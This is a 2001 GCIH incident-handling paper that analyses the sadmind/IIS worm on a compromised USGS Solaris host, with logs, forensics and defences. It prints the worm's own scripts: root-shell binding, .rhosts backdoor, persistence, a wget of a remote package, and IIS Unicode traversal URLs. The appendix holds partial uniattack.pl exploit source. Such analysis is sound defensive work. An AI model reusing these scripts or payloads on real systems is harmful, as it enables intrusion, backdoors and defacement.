Global Information Assurance Certification Paper

Advanced Incident Handling and Hacker Exploits
GCIH Practical Assignment

Sadmind/IIS Worm
Exploit Analysis

Brian R. Schachte
August 14, 2001

Exploit Details

Name:	sadmind/IIS Worm
Operating System:	Solaris 2.3, 2.4 (if Sun Solstice Adminsuite packages are installed), 2.5, 2.5.1, 2.6, 2.7 (installed by default), unpatched Microsoft IIS web server versions 4.0 and 5.0.
Protocols/Services:	The sadmind service is used to "coordinate distributed system administration operations remotely"[i] on Solaris systems and Microsoft IIS web server is used for serving web.
Description:	Exploits a buffer overflow condition present in the sadmind service on Solaris systems to actively identify web servers running Microsoft IIS versions 4.0 and 5.0 resulting in a defaced default web page.

Background

On April 1, 2001 a midair collision between a United States spy plane and a Chinese fighter plane, resulting in the death of the Chinese pilot, created an international incident leading to political tension between the two nations. As is often the case with political situations the threat of malicious network activity is greatly increased and this situation proved to be no exception. On April 30, 2001 a Chinese hacker organization, calling themselves the "Honker Union of China" (HUC), declared "cyber war" on the United States. In an effort to deface as many American Web servers as possible HUC released instructions and programs designed to assist less knowledgeable hackers with the defacement and compromise of vulnerable servers. Among the programs released was the sadmind worm. This paper will detail the impact of the Chinese "cyber war" and, specifically, the sadmind worm on the U.S. Geological Survey (USGS).

On April 26, 2001 the Federal Bureau of Investigation's (FBI) National Infrastructure Protection Center (NIPC) released advisory 01-009 stating:

"Citing recent events between the United States and the People's Republic of China (PRC), malicious hackers have escalated web page defacements over the Internet. This communication is to advise network administrators of the potential for increased hacker activity directed at U.S. systems during the period of April 30, 2001 to May 7, 2001. Chinese hackers have publicly discussed increasing their activity during this period, which coincides with dates of historic significance in the PRC: May 1 is May Day; May 4 is Youth Day; and, May 7 is the anniversary of the accidental bombing of the Chinese Embassy in Belgrade."[ii]

Prior to the release of this announcement and continuing through May 7, network intrusion detection systems (IDS) at the USGS National Headquarters in Reston, Virginia, detected an increase in network activity originating from Chinese Internet address spaces. This activity included network scans to identify systems providing an assortment of services. The majority of the activity was designed to identify systems offering Sun Microsystems' **rpcbind** service on Transmission Control Protocol (TCP) port 111 and, in particular, to query the service to determine which systems were offering the Remote Procedure Call (RPC) service **sadmind**. In addition, the IDS also detected large amounts of inbound network traffic designed to exploit systems running vulnerable versions of Microsoft Corporation's Internet Information Server (**IIS**) on TCP port 80.

Service Description:

rpcbind

The rpcbind program is a server that converts RPC program numbers into universal addresses. As the name implies, RPC is designed for the remote execution of programs. When an RPC service is started the service registers its RPC number with rpcbind. The rpcbind service then dynamically binds the RPC service with an available port number. When a client wishes to communicate with a given RPC program number, it first contacts rpcbind on the server machine to determine the port address where requests should be sent. Client systems can then communicate with the service by connecting directly to this port number.

IIS

The IIS Web server, developed by Microsoft to run on Windows NT and Windows 2000 systems, has been plagued by a series of exploitable vulnerabilities. One such vulnerability, the IIS Unicode Translation Vulnerability, permits specially crafted Web service requests to use ".." and "\" to traverse file systems, execute arbitrary commands outside of the servers root directory, and to manipulate the appearance of the Web site.

sadmind

Sadmind is designed to provide remote system administration operations and is installed by default with many versions of the Sun Microsystems operating system. The service is started automatically by inetd, the daemon that provides Internet service management, at system startup if the following entry is present in the inetd configuration file /etc/inetd.conf:

```
100232/10      tli     rpc/udp wait root /usr/sbin/sadmind     sadmind
```

Signature:

Figure 1 is a portion of the IDS log indicating attempts to identify available RPC services.

Event:	PmapDump						
Priority	Date		From	From Port	To	To Port	Information
High	4/30/2001	3:32:55PM	216.xx.xx.xx	996	192.198.223.1	111	
High	4/30/2001	3:32:55PM	216.xx.xx.xx	998	192.198.223.2	111	
High	4/30/2001	3:32:55PM	216.xx.xx.xx	999	192.198.223.8	111	
High	5/1/2001	3:45:10AM	61.xx.xx.xx	848	192.198.1.54	111	
High	5/1/2001	3:47:14AM	61.xx.xx.xx	912	192.198.1.54	111	
High	5/1/2001	6:10:02AM	61.xx.xx.xx	2726	192.198.1.156	111	
High	5/1/2001	7:23:12AM	211.xx.xx.xx	2423	192.198.1.51	111	
High	5/1/2001	8:13:10AM	61.xx.xx.xx	567	192.198.1.156	111	
High	5/2/2001	5:55:11PM	210.xx.xx.xx	739	192.198.1.66	111	
High	5/2/2001	5:55:13PM	210.xx.xx.xx	748	192.198.1.1	111	
High	5/2/2001	5:55:13PM	210.xx.xx.xx	758	192.198.1.3	111	
High	5/2/2001	5:55:14PM	210.xx.xx.xx	767	192.198.1.4	111	
High	5/2/2001	5:55:16PM	210.xx.xx.xx	778	192.198.1.5	111	
High	5/2/2001	5:55:17PM	210.xx.xx.xx	789	192.198.1.6	111	
High	5/2/2001	6:00:53PM	210.xx.xx.xx	925	192.198.1.8	111	
High	5/2/2001	6:00:54PM	210.xx.xx.xx	934	192.198.1.9	111	
High	5/2/2001	6:00:55PM	210.xx.xx.xx	945	192.198.1.10	111	

Figure 1: Connection attempts on port 111, rpcbind

Figure 2 is a portion of the IDS log representing attempts to exploit the IIS Unicode vulnerability by trying to execute cmd.exe:

Event:	URL_Data_IIS Unicode Translation						
Priority	Date		From	From Port	To	To Port	Information
High	4/27/2001	7:56:43AM	211.xx.xx.xx	50706	192.198.1.183	80	URL
	/_vti_bin/..À¯../..À¯../..À¯../winnt/system32/cmd.exe						
High	4/27/2001	7:56:49AM	211.xx.xx.xx	51109	192.198.1.183	80	URL
	/msadc/..À¯../..À¯../..À¯../winnt/system32/cmd.exe						
High	4/27/2001	11:28:45AM	206.xx.xx.xx	63701	192.198.1.183	80	URL
	/_vti_bin/..À¯../..À¯../..À¯../winnt/system32/cmd.exe						
High	4/30/2001	8:22:27PM	61.xx.xx.xx	3656	192.198.1.41	80	URL
	/scripts/..Á ../winnt/system32/cmd.exe						
High	4/30/2001	8:22:29PM	61.xx.xx.xx	3659	192.198.1.41	80	URL
	/scripts/..Áœ../winnt/system32/cmd.exe						
High	4/30/2001	8:22:31PM	61.xx.xx.xx	3660	192.198.1.41	80	URL
	/msadc/..Áœ../..Áœ../..Áœ../winnt/system32/cmd.exe						

Figure 2: IIS UNICODE Vulnerability Attempts

On May 3, 2001 the network IDS detected an internal system generating a SYNFLOOD. The IDS determines a SYNFLOOD to be a large number of unanswered TCP synchronization requests. In this case the SYNFLOOD was being generated by the internal host trying to connect to a large number of non-existent Internet addresses on ports 111 and 80 as represented by Figure 3.

Event:	SYNFlood					
Priority	Date		From	From Port	To	To Port
High	5/3/2001	11:21:27AM	192.198.1.1	32768	0.82.0.87	111
High	5/3/2001	11:21:27AM	192.198.1.1	32846	0.107.0.12	111
High	5/3/2001	11:21:27AM	192.198.1.1	32875	0.3.0.90	111
High	5/3/2001	11:21:27AM	192.198.1.1	32896	0.3.0.98	111

High	5/3/2001	11:21:29AM	192.198.1.1	32923	0.95.0.228	111
High	5/3/2001	11:24:47AM	192.198.1.1	32943	0.108.0.245	80
High	5/3/2001	11:24:54AM	192.198.1.1	32955	0.113.0.56	111
High	5/3/2001	11:24:54AM	192.198.1.1	32963	0.64.0.129	80
High	5/3/2001	11:24:54AM	192.198.1.1	32971	0.9.0.60	111
High	5/3/2001	11:24:54AM	192.198.1.1	32990	0.91.0.49	80
High	5/3/2001	11:24:54AM	192.198.1.1	33010	0.94.0.250	80

Figure 3. SYNFLOOD traffic generated by internal host

Compromised Host:

A port map scan of the internal host to identify available services was performed using the nmap utility[iii]. Figure 4 lists open service ports on the host.

```
# Nmap (V. nmap) scan initiated 2.53 as: nmap -sS
Interesting ports on target.usgs.gov (192.198.1.1):
(The 1494 ports scanned but not shown below are in state: closed)
Port       State      Service
7/tcp      open       echo
9/tcp      open       discard
13/tcp     open       daytime
19/tcp     open       chargen
21/tcp     open       ftp
22/tcp     open       ssh
23/tcp     open       telnet
37/tcp     open       time
79/tcp     open       finger
111/tcp    open       sunrpc
512/tcp    open       exec
513/tcp    open       login
514/tcp    open       shell
515/tcp    open       printer
540/tcp    open       uucp
600/tcp    open       ipcserver
1103/tcp   open       xaudio
4045/tcp   open       lockd
6000/tcp   open       X11
6112/tcp   open       dtspc
7100/tcp   open       font-service

# Nmap run completed at Mon May 21 09:10:45 2001 -- 1 IP address (1 host up) scanned
in 10 seconds
```

Figure 4. Open service ports identified by nmap

The nmap output identifies the service rpcbind on port 111 as well as a service listed as ipcserver on TCP port 600. Since I had never seen an occurrence of this service within the USGS before I found the existence of this port to be suspicious.

The Unix command rpcinfo was used to query the remote host to determine available RPC services and their associated TCP/UDP port numbers (figure 5).

```
rpcinfo –p 192.198.1.1

program    vers    proto    port    service
…
100005     1       udp      32975   mountd
100005     2       udp      32975   mountd
100005     3       udp      32975   mountd
100005     1       tcp      32787   mountd
100005     2       tcp      32787   mountd
100005     3       tcp      32787   mountd
…
100232     10      udp      65024   sadmind
100002     2       udp      65026   rusersd
```

Figure 5. Identified RPC services on the compromised host

The results of the rpcinfo query above show several RPC services running on the host. Among these is the presence of the sadmind service, with RPC service number 100232, available and bound to User Datagram Protocol (UDP) port 65024.

Recalling previous alerts concerning this service I performed a search of the Computer Emergency Response Team (CERT®) database, located at www.cert.org, which returned **CERT® Advisory CA-1999-16 Buffer Overflow in SunSolstice AdminSuite Daemon sadmind.** Originally released December 14, 1999 this alert detailed a buffer overflow condition present in the sadmind service.

"All versions of sadmind are vulnerable to a buffer overflow that can overwrite the stack pointer within a running sadmind process. Since sadmind is installed as root, it is possible to execute arbitrary code with root privileges on a remote machine."[iv]

Stack overflows "take advantage of programs that expect a fixed length on input and send more than the fixed length. They place executable code past that point and it often ends up being run by the program and at its privilege level."[v]

Based on the gathered information I felt certain the system had been compromised. In an effort to contain the problem I informed the system administrator of my suspicions and requested the system be disconnected from the network immediately. I instructed the administrator to backup all file systems to tape to preserve data for analysis, and, more importantly to the USGS, to protect user data.

Earlier in the year, I had begun the process of creating an "emergency toolkit" to be used in the event of a system compromise. As part of my toolkit I had placed a copy of the program md5-sparc from Sun Microsystems on to compact disk. Part of the SunSolve Solaris Fingerprint Database[vi], md5-sparc is used to generate Message Digest version 5 (MD5) cryptographic checksums of files. An MD5 checksum is a numeric representation of a file serving as a digital fingerprint "…that indicates if a file has been modified...It is virtually impossible to modify a file and retain the original MD5 digital fingerprint."[vii]

The contents of the system directories /bin, /usr/bin, /sbin, /usr/sbin, /lib, /usr/lib were used as input to md5-sparc and the results written to floppy diskettes. From a secure system I used the results generated by md5-sparc as input to the Solaris Fingerprint Database to determine the validity of system executable files and libraries.

Figure 5 is a partial list of system binaries and their associated MD5 checksums generated by md5-sparc.

```
md5-sparc /bin/*
…
1ea13555031b4dcf925e2b15f70117f9   /bin/rlogin
453eac2f9bab6c100983f528835beb7a   /bin/rm
7a2a9b88010919cfd646a469ba98baf3   /bin/rmdir
01ea4c6fe4ffb9831f30618e0a4e272d   /bin/rmic
01ea4c6fe4ffb9831f30618e0a4e272d   /bin/rmiregistry
36aa0bae679b58b85a8867324f82af1a   /bin/roffbib
e22a60309229ee3af2b5f84a05d51f36   /bin/rpcgen
cffdc741b9442e9f1f31fd93be6876a5   /bin/rpcinfo
a73317bf719aa6d6727ad1c5239ea3f8   /bin/rsh
…
```

Figure 5. MD5 checksums generated by md5-sparc

Figure 6 represents the output produced by the SunSolve Solaris Fingerprint Database for the programs /bin/rlogin and /bin/rm.

```
Results of Last Search

        1ea13555031b4dcf925e2b15f70117f9 - /bin/rlogin - 2 match(es)
            canonical-path: /usr/bin/rlogin
            package: SUNWcsu
            version: 11.7.0,REV=1998.09.01.04.16
            architecture: sparc
            source: Solaris 7/SPARC

            canonical-path: /usr/bin/rlogin
            package: SUNWcsu
            version: 11.7.0,REV=1998.10.06.00.59
            architecture: sparc
            source: Solaris 7/SPARC

        453eac2f9bab6c100983f528835beb7a - /bin/rm - 2 match(es)
            canonical-path: /usr/bin/rm
            package: SUNWcsu
            version: 11.7.0,REV=1998.09.01.04.16
            architecture: sparc
            source: Solaris 7/SPARC

            canonical-path: /usr/bin/rm
            package: SUNWcsu
            version: 11.7.0,REV=1998.10.06.00.59
            architecture: sparc
```

```
source: Solaris 7/SPARC
```

Figure 6. Example results produced by SunSolve Solaris Fingerprint Database

The output indicates the programs and their associated checksums are valid and lists other information including the versions of the operating system the program was distributed with. Had the binaries been modified in any way the MD5 checksums would have been different and the output from the Fingerprint Database would have appeared similar to the following:

```
1ea13555031c4dcf925e2b15f70117f9 - /bin/rlogin - 0 match(es)
        Not found in this database.

453eac2f9babdc100983f528835beb7a - /bin/rm - 0 match(es)
        Not found in this database.
```

This would indicate the program files had been modified or replaced. However, in this case, all cryptographic checksums were matched and I concluded the operating system was valid and an examination of the system could continue without re-installing the operating system.

On the compromised host the system log file /var/log/syslog was examined and found to contain several sadmind related entries (Figure 7)

```
May 1 20:20:37 192.198.1.1 inetd[147]: /usr/sbin/admind: Bus Error – core dumped
May 1 20:20:38 192.198.1.1 inetd[147]: /usr/sbin/admind: Segmentation Fault – core dumped
May 1 20:20:41 192.198.1.1 inetd[147]: /usr/sbin/admind: Hangup
```

Figure 7. Sadmind related /var/log/syslog entries.

These entries supported my initial theory of a vulnerability with sadmind being used for the initial compromise. The Unix command /usr/bin/find was used to detect any files or directories that had been created or modified within a 48-hour period (Figure 8).

```
/usr/bin/find / -mtime –2

/.rhosts
/core
/dev/cub
/dev/cub/tmp1
/dev/cub/tmp2
/dev/cub/tmp3
/dev/cuc
/dev/cuc/brute
/dev/cuc/cmd1.txt
/dev/cuc/cmd2.txt
/dev/cuc/core
/dev/cuc/grabbb
/dev/cuc/gzip
/dev/cuc/index.html
/dev/cuc/nc
```

```
/dev/cuc/pkgadd.txt
/dev/cuc/ranip.pl
/dev/cuc/sadmin.sh
/dev/cuc/sadminindex-sparc
/dev/cuc/start.sh
/dev/cuc/time.sh
/dev/cuc/uniattack.pl
/dev/cuc/uniattack.sh
/dev/cuc/wget
/etc/inetd.conf
/etc/rc2.d/S71rpc
```

Figure 8. Suspect files identified by find command

The results of the find command identified the creation of the directories /dev/cub and /dev/cuc. By analyzing programs and scripts in the /dev/cuc directory I was able to determine the service being offered on port 600 was an interactive shell running with root permission. Since this system was currently offline and posed no threat to the Internet community I concentrated my efforts on identifying any other systems within the USGS that may have suffered a similar fate. Using nmap I performed a port scan on the local area network to identify any systems with port 600 open. While I did not find any locally I did identify six systems in the USGS central region that had been exploited and not yet discovered by the administrators.

Turning my attention back to the original compromised host I archived the suspect directories, system logs and other files for analysis.

How the exploit works

The results of the find command also indicated a change to the file /etc/rc2.d/S71rpc. The file had been modified with the insertion of the following command at line one:

```
/bin/nohup /dev/cuc/start.sh > /dev/null 2>$1 &
```

This would start the shell script /dev/cuc/start.sh if the system were rebooted. By preceding the invocation of /dev/cuc/start.sh with the command /bin/nohup the process will ignore signal hangup (SIGHUP) requests to terminate the process and continue running. Start.sh (Figure 9) starts the shell scripts /dev/cuc/time.sh, /dev/cuc/sadmin.sh and, /dev/cuc/uniattack.sh.

```
#!/bin/sh
if [ ! -d /dev/cub ]; then
/bin/mkdir /dev/cub
fi
/bin/nohup /dev/cuc/time.sh &
i=1
while [ $i -lt 5 ]
do
/bin/nohup /dev/cuc/sadmin.sh &
/bin/nohup /dev/cuc/uniattack.sh &
i=`/bin/echo "$i+1"|/bin/bc`
```

```
done
```

Figure 9. Shell script /dev/cuc/start.sh

The script /dev/cuc/time (Figure 10) is a shell script to keep a running count of how many Web servers have been defaced.

```
#!/bin/sh
/bin/ps -ef|/bin/grep uniattack.pl > /dev/cub/tmp1
while true
do
/bin/sleep 300
/bin/ps -ef|/bin/grep uniattack.pl > /dev/cub/tmp2
/bin/awk '{print $2}' /dev/cub/tmp1 > /dev/cub/tmp3
process=`/bin/awk '{print $2}' /dev/cub/tmp2`
for p in $process;do
/bin/grep $p /dev/cub/tmp3
if [ $? = 0 ];then
/bin/kill -9 $p
fi
done
/bin/cp /dev/cub/tmp2 /dev/cub/tmp1
i=`/bin/grep hacked /dev/cub/result.txt|/bin/wc -l`
if [ $i -gt 2000 ];then
/bin/nohup /bin/find / -name "index.html" -exec /bin/cp
/dev/cuc/index.html {} \; &
/bin/rm -f /dev/cub/result.txt
fi
done
```

Figure 10. Shell script /dev/cuc/time

If the count is greater than 2000 the uniattack.sh process is killed and, if the compromised host also provides Web service, its default index.html file is overwritten with the contents of the file /dev/cuc/index.html (Figure 11).

```
<HTML><HEAD>
<BODY bgColor=black><BR><BR><BR><BR><BR><BR>
<TABLE width="100%">
  <TBODY>
  <TR>
    <TD>
      <P align=center><FONT color=red size=7>f**k USA
Government</FONT></P>
  <TR>
    <TD>
      <P align=center><FONT color=red size=7>f**k PoizonBOx</FONT></P>
  <TR>
    <TD>
      <P align=center><FONT color=red
size=4>contact:sysadmcn@yahoo.com.cn
      </FONT></P></TR></TBODY></TABLE></BODY></HTML>
```

Figure 11. Contents of file /dev/cuc/index.html

The /dev/cuc/sadmin.sh shell script is designed to identify, and exploit, additional systems susceptible to the sadmind vulnerability and performs the following functions:

- Executes the perl script /dev/cuc/ranip.pl (Figure 12) to generate a random class C IP address space to be used as targets.

```
#!/usr/bin/perl

use Getopt::Long;

      $addr[0] = int(rand(254)+1);
      $addr[1] = int(rand(255));
      $b_ip = "$addr[0].$addr[1]";
print $b_ip;
```

Figure 12. Perl script /dev/cuc/ranip.pl

- Execute the hacker utility /dev/cuc/grabbb (Figure 13) to identify additional systems running rpcbind on port 111.

```
/dev/cuc/grabbb
grabbb 0.1.0 by scut of teso

usage: /dev/cuc/grabbb [options] <port>[:port2[:port3[...]]]

__options
      -x <maxsock>      maximum number of sockets to use (default 250)
      -t <seconds>      connection timeout
      -i <file>         file to get ip's from (ip's, not names)
      -a <startip>      range scanning (startip)
      -b <endip>        range scanning (endip)
      -m                multiline mode (grab not just the first line)
      -v                be more verbose
      -s                print summary information after scan

you can also pipe something to the program, which will be printed to any
successful connection the program experiences

Example

/dev/cuc/grabb –t 3 –a 192.198.1.1 –b 192.198.1.5 80
192.198.1.2:80:
192.198.1.5:80:
```

Figure 13. /dev/cuc/grabbb usage and example execution.

- Using systems identified by grabbb as targets the Unix command /usr/bin/rpcinfo is used to determine which hosts offer the sadmind RPC service.

- Using systems identified by rpcinfo the hacker utility /dev/cuc/brute (Figure 14) is executed to attempt exploiting the sadmind service by overflowing the stack and creating the file /tmp/.f on the remote host with the following entry:

  pcserver stream tcp nowait root /bin/sh sh -i

  The file /tmp/.f is then used as input to the program /usr/sbin/inetd to start an Internet service. In this case an interactive shell has been bound to the port assigned to the Internet service pcserver on port 600.

```
/dev/cuc/brute

sadmindex sp brute forcer - by elux
usage: /dev/cuc/brute [arch] <host>

      arch:
      1 - x86 Solaris 2.6
      2 - x86 Solaris 7.0
      3 - SPARC Solaris 2.6
      4 - SPARC Solaris 7.0

Example:

/dev/cuc/brute 3 192.198.1.1
```

Figure 14. Command line usage for /dev/cuc/brute

- The contents of /dev/cuc/cmd1.txt (Figure 15) are piped to, netcat[viii] (nc), a utility that reads and writes data across a network connection, which connects to port 600 on the remote host and executes the commands. This results in the string '+ +' being entered into the .rhosts file in the home directory of user root. This will allow a remote root user access to the system from any remote host assuming no additional controls, such as Wietse Venema's tcpwrappers[ix], are in place.

```
/bin/echo "+ +" > `/bin/grep root /etc/passwd|/bin/awk –F: '{print $6}'`/.rhosts
```

Figure 15. Contents of file /dev/cuc/cmd1.txt

- The command /bin/rcp is executed to perform a remote copy of /tmp/uni.tar to the remote host.

- A Unix tape archive (tar) file named /tmp/uni.tar is created containing the contents of the directory /dev/cuc.

- The utility netcat (nc) is used to transfer the file /tmp/uni.tar to the remote host.

- The contents of /dev/cuc/cmd2.txt (Figure 16) are transferred by netcat connecting to port 600 and executed on the remote host. This results in the following actions:

    - The contents of the file /tmp/uni.tar are extracted on the remote host into the directory /dev/cuc and the script /dev/cuc/start.sh is executed.

    - The file /etc/rc2.d/S71rpc is modified so /dev/cuc/start.sh starts each time the system is booted.

    - Perl5 package is downloaded from a remote system and placed in /tmp.

    - Perl5 is installed in /usr/local.

    - The uni.tar and the perl source package are removed from the system /tmp directory.

```
bin/tar -xvf /tmp/uni.tar
/bin/echo "/bin/nohup /dev/cuc/start.sh >/dev/null 2>&1 &" > /etc/rc2.d/tmp1
/bin/cat /etc/rc2.d/S71rpc >> /etc/rc2.d/tmp1
/bin/mv /etc/rc2.d/S71rpc /etc/rc2.d/tmp2
/bin/mv /etc/rc2.d/tmp1 /etc/rc2.d/S71rpc
/bin/chmod 744 /etc/rc2.d/S71rpc
/dev/cuc/wget -c -O /tmp/perl-5.005_03-sol26-sparc-local.gz
        http://202.xx.xx.xx:80/mirrors/www.sunfreeware.com/
        sparc/2.6/perl-5.005_03-sol26-sparc-local.gz
/dev/cuc/gzip -d /tmp/perl-5.005_03-sol26-sparc-local.gz
/bin/mkdir /usr/local
/bin/cat /dev/cuc/pkgadd.txt|/usr/sbin/pkgadd -d /tmp/perl-5.005_03-sol26-sparc-local
/bin/rm -f /tmp/uni.tar /tmp/perl-5.005_03-sol26-sparc-local
```

Figure 16. Contents of file /dev/cuc/cmd2.txt

At this point the remote host would be actively seeking new target hosts to exploit.

The /dev/cuc/uniattack.sh script is designed to identify systems offering Web service (httpd) on port 80 (Figure 17) and performs the following functions:

- Execute /dev/cuc/ranip.pl to generate a random number to be used as the first octet of a class C IP address space to be used as targets.

- Execute the hacker utility /dev/cuc/grabbb to identify systems offering httpd service on port 80.

- IP address for identified systems are saved to a temporary file located in /dev/cub.

- IP addresses are extracted from the temporary file and used as input for the Perl script /dev/cuc/uniattack.pl. The uniattack.pl perl script (Appendix A) attempts to exploit the IIS Unicode vulnerability by using fourteen different specially crafted URL strings. If any one of the attack methods works the files index.asp, index.htm, default.asp and default.htm are overwritten in the server root directory and contain obscenities directed at the United States government and the hacker organization PoizonBox. PoisonBox had previously begun it's own attacks against Chinese Web servers.

- Temporary file is removed from /dev/cub

```
#!/bin/sh
while true
do
i=`/usr/local/bin/perl /dev/cuc/ranip.pl`
j=0
while [ $j -lt 256 ];do
/dev/cuc/grabbb -t 3 -a $i.$j.1 -b $i.$j.50 80 >> /dev/cub/$i.txt
/dev/cuc/grabbb -t 3 -a $i.$j.51 -b $i.$j.100 80 >> /dev/cub/$i.txt
/dev/cuc/grabbb -t 3 -a $i.$j.101 -b $i.$j.150 80 >> /dev/cub/$i.txt
/dev/cuc/grabbb -t 3 -a $i.$j.151 -b $i.$j.200 80 >> /dev/cub/$i.txt
/dev/cuc/grabbb -t 3 -a $i.$j.201 -b $i.$j.254 80 >> /dev/cub/$i.txt
j=`/bin/echo "$j+1"|/bin/bc`
done
iplist=`/bin/awk -F: '{print $1}' /dev/cub/$i.txt`
for ip in $iplist;do
/usr/local/bin/perl /dev/cuc/uniattack.pl $ip:80 >> /dev/cub/result.txt
done
rm -f /dev/cub/$i.txt
done
```

Figure 17. Contents of uniattack.sh

On May 8, 2001, CERT® released CERT® Advisory CA-2001-11 which detailed what was to be named the sadmind/IIS Worm. CA-2001-11 states:

"To compromise the Solaris systems, the worm takes advantage of a two-year-old buffer overflow vulnerability in the Solstice sadmind program…after successfully compromising the Solaris systems, it uses a seven-month-old vulnerability to compromise the IIS systems." [x]

It would not be prudent to discuss in a public forum how many systems were affected or the impact two old, well known vulnerabilities had on the USGS. However, this incident did point out the importance of implementing security measures at multiple levels of the network hierarchy to include router filters, firewalls, intrusion detection systems, and, ultimately, due diligence on the part of the system administrators. The chances of a properly administered and maintained system being exploited are greatly reduced.

One of the problems experienced by the USGS, that became apparent during this event was the lack of authority to remove a system from the network during a security event. As a direct result of the cyber war activity, the policy **USGS Procedures for Responding to Computer/Network Security Emergencies** was established to provide guidance in the event of a serious computer security incident.

A computer security incident, as defined by the policy, is "the compromise of a single computer to a bureau-wide attack on our information assets." The seriousness of an incident is determined by its actual or potential impact on the USGS's ability to protect its information resources. Most importantly, the policy empowers the USGS Information Technology Security Manager (ITSM) or designated members of the USGS CSIRT, as authorized by the USGS Geographic Information Officer, to have full authority to supersede existing USGS security and network operating procedures and details the following course of action:

1) In the event of a computer security incident the ITSM, using all available resources, will assess the impact and the source of the security threat. If the ITSM declares the incident an emergency, the ITSM has authority to use the Office of Information Services' Computing and Communications Services Branch (CCSB); regional telecommunications support personnel and other bureau resources to aid in the resolution of the problem.

2) The ITSM will first notify the USGS Computer Security Incident Response Team (CSIRT) members, the appropriate Network and System Administrators, and the Regional IRM Management Officials as the problem warrants. (Lists of these contacts will be predefined and maintained within the USGS e-mail system.)

3) Following identification of a computer security incident the CSIRT has primary responsibility for responding and reporting progress and results to the ITSM.

4) The ITSM will direct the CCSB, regional telecommunications support personnel or any other USGS network/system administrator to shutdown, block, disconnect or remedy security threats and to oversee compliance with federal policy. The overriding responsibility of the ITSM in these emergency situations is to protect the integrity and availability of bureau systems, networks and information.

5) As necessary, e-mail will be sent to the affected area alerting the workforce to a possible disruption in computer service.

6) To help resolve the control weaknesses that led to the incident, the ITSM will be responsible for ensuring that vulnerability assessments are conducted on all compromised machines. The administrator(s) of the affected machine(s) will be required to keep them disconnected from the network until all appropriate remedies are implemented.

7) Using the required USGS computer security incident reporting mechanism, affected system network administrators or the appropriate CSIRT member will report all information collected during and following the incident. This information will be used for, 1) official reporting purposes, 2) to understand the nature of the incident and 3) to use this information to avoid or minimize future problems. These recommendations will be made available in electronic form.

8) The ITSM will report major incidents to the appropriate federal officials and refer the incident to fedcirc@fedcirc.gov for coordination purposes.

How to protect against the sadmind/IIS worm:

The best defense against this attack is to employee a security model based on "security in depth". This model applies access controls at several levels of the network hierarchy. Access to rpcbind, port 111, can be controlled with either a firewall or router. The next level would be to control access to the service at the host with products such as Wietse Venema's replacement rpcbind[xi] program that provides access control based on network addresses. If the sadmind service is required the appropriate system patch, as described in Sun Security Bulletins Article 191[xii] should be applied to the system. Ultimately, if the service is not required, the service should be disabled by commenting the following line in /etc/inetd.conf:

```
# 100232/10 tli rpc/udp wait root /usr/sbin/sadmind sadmind
```

To remove the IIS vulnerability it is necessary to install the appropriate patches available from Microsoft and detailed in Microsoft Security Bulletin (MS00-078)[xiii].

Variants:

Variations of the sadmind/IIS Worm could easily be modified to install more aggressive worms, rootkits, network sniffers, distributed denial of service tools or destroy entire filesystems. On May 15, 2001 Internet Security Systems released an advisory describing additional vulnerabilities with IIS similar to the Unicode vulnerability and stated:

"This class of IIS vulnerabilities is well known and lends itself to being widely exploited by incorporation into worms and automatic scanning tools."[xiv]

The hacking community rarely sits idle. If history is any indication I believe those of us in the computer and network security community can expect to see many new and, potentially dangerous, variations of this attack.

References:

[i] Computer Emergency Response Team. "CERT® Advisory CA-2001-11 sadmind/IIS Worm", http://www.cert.org/advisories/CA-2001-11.html

[ii] Federal Bureau of Investigation. "National Infrastructure Protection Center, Advisory 01-009", http://www.nipc.gov/warnings/advisories/2001/01-009.htm

[iii] Fyodor, "nmap (Network Mapper)", http://www.insecure.org/nmap/index.html

[iv] Computer Emergency Response Team (CERT®). "CERT® Advisory CA-1999-16 Buffer Overflow in SunSolstice AdminSuite Daemon sadmind", http://www.cert.org/advisories/CA-1999-16.html

[v] Northcutt, Stephen. Network Intrusion Detection: An Analyst's Handbook Second Edition. Indianapolis: New Riders, September 2000. 318.

[vi] Sun Microsystems. "Solaris Fingerprint Database: An Identification Tool for Solaris Software and Files", http://sunsolve.sun.com/pub-cgi/show.pl?target=content/content7

[vii] Sun Microsystems. "Solaris Fingerprint Database: An Identification Tool for Solaris Software and Files", http://sunsolve.sun.com/pub-cgi/show.pl?target=content/content7 - accessing

[viii] Hobbit. "Netcat", http://www.l0pht.com/~weld/netcat/

[ix] Venema, Wietze. "TCP Wrappers", ftp://ftp.cerias.purdue.edu/pub/tools/unix/netutils/tcp_wrappers/tcp_wrappers_7.6.tar.gz

[x] Computer Emergency Response Team. "CERT® Advisory CA-2001-11 sadmind/IIS Worm", http://www.cert.org/advisories/CA-2001-11.html

[xi] Venema, Wietse. "Rpcbind", ftp://ftp.cerias.purdue.edu/pub/tools/unix/netutils/portmap/

[xii] Sun Microsystems. "Sun Security Bulletins Article 191", http://sunsolve.sun.com/pub-cgi/retrieve.pl?doctype=coll&doc=secbull/191&type=0&nav=sec.sba

[xiii] Microsoft Corporation. "Microsoft Security Bulletin (MS00-078)", http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS00-078.asp

[xiv] Internet Security Systems. "Security Alert, IIS URL Decoding Vulnerability", http://xforce.iss.net/alerts/advise77.php

Appendix:

Source code for /dev/cuc/uniattack.pl

executable perl script

```
#!/usr/bin/perl

use Socket;
# --------------init
if ($#ARGV<0) {die "UNICODE-HACK-PROGRAM

Example: c:\\perl uni.pl www.theriver.com:80 {OR}
         c:\\perl uni.pl 127.0.0.1:80\n";}
($host,$port)=split(/:/,@ARGV[0]);
print "Trying $host.....................\n";
$target = inet_aton($host);
$flag=0;

# ---------------test IF IIS
my @results=sendraw("GET x HTTP/1.0\r\n\r\n");
foreach $line (@results)
{
 if ($line =~ /Server: Microsoft-IIS/)
{

# ---------------test method 1
my @results=sendraw("GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n");
foreach $line (@results)
{
 if ($line =~ /Directory/)
 {
  $flag=1;
  my @results1=sendraw("GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+..\\
HTTP/1.0\r\n\r\n");
  foreach $line1 (@results1)
  {
   if ($line1 =~ /<DIR>/)
   {
    @a=split(/\ /,$line1);
    $b=length($a[-1]);
    $c=substr($a[-1],0,$b-2);
    sendraw("GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+\\winnt\\system32\\c
md.exe+root.exe HTTP/1.0\r\n\r\n");
    sendraw("GET
/scripts/root.exe?/c+echo+^<html^>^<body+bgcolor%3Dblack^>^<br^>^<br^>^
<br^>^<br^>^<br^>^<br^>^<table+width%3D100%^>^<td^>^<p+align%3D%22cente
